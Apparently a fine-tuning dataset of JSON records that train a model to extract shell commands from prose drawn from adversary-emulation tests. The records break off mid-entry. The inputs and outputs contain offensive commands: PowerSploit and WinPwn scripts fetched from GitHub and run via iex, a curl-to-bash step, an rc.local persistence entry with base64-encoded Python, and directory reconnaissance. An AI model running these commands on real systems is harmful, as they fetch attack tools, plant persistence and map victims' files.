    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify domain users with PowerView, execute the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can search for RBCD attack vectors by executing this WinPwn function: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nRBCD-Check -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nRBCD-Check -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This procedure verifies the macOS firewall status and displays configured rules, requiring sudo privileges. Use the following commands: sudo defaults read /Library/Preferences/com.apple.alf\nsudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate\n",
    "output": "{\"command_list\": [\"sudo defaults read /Library/Preferences/com.apple.alf\\nsudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test illustrates how adversaries can abuse blind installations by selectively executing commands when scripts are piped to bash. The process involves these steps: cd /tmp\ncurl -s #{remote_url} |bash\nls -la /tmp/art.txt",
    "output": "{\"command_list\": [\"cd /tmp\\ncurl -s #{remote_url} |bash\\nls -la /tmp/art.txt      \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify rc.local, use the following command: filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi\n[ \"$(uname)\" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local\necho \"\\npython3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\\\"\" | sudo tee -a /etc/rc.local\nprintf 'exit 0' | sudo tee -a /etc/rc.local\nsudo chmod +x /etc/rc.local",
    "output": "{\"command_list\": [\"filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi\\n[ \\\"$(uname)\\\" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\\\\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local\\necho \\\"\\\\npython3 -c \\\\\\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\\\\\\\"\\\" | sudo tee -a /etc/rc.local\\nprintf 'exit 0' | sudo tee -a /etc/rc.local\\nsudo chmod +x /etc/rc.local\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test searches for files across multiple directories, outputting the results with the command:\ndir /s c:\\ >> #{output_file}\ndir /s \"c:\\Documents and Settings\" >> #{output_file}\ndir /s \"c:\\Program Files\\\" >> #{output_file}\ndir \"%systemdrive%\\Users\\*.*\" >> #{output_file}\ndir \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*\" >> #{output_file}\ndir \"%userprofile%\\Desktop\\*.*\" >> #{output_file}\ntree /F >> #{output_file}\n",
    "output": "{\"command_list\": [\"dir /s c:\\\\ >> #{output_file}\\ndir /s \\\"c:\\\\Documents and Settings\\\" >> #{output_file}\\ndir /s \\\"c:\\\\Program Files\\\\\\\" >> #{output_file}\\ndir \\\"%systemdrive%\\\\Users\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\Desktop\\\\*.*\\\" >> #{output_file}\\ntree /F >> #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To compile JavaScript code from Library.js into Library.dll using jsc.exe, first copy the file to a temporary location and then run the following command:\ncopy \"#{filename}\" %TEMP%\\LibHello.js\n#{jscpath}\\#{jscname} /t:library %TEMP%\\LibHello.js\n",
    "output": "{\"command_list\": [\"copy \\\"#{filename}\\\" %TEMP%\\\\LibHello.js\\n#{jscpath}\\\\#{jscname} /t:library %TEMP%\\\\LibHello.js\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and 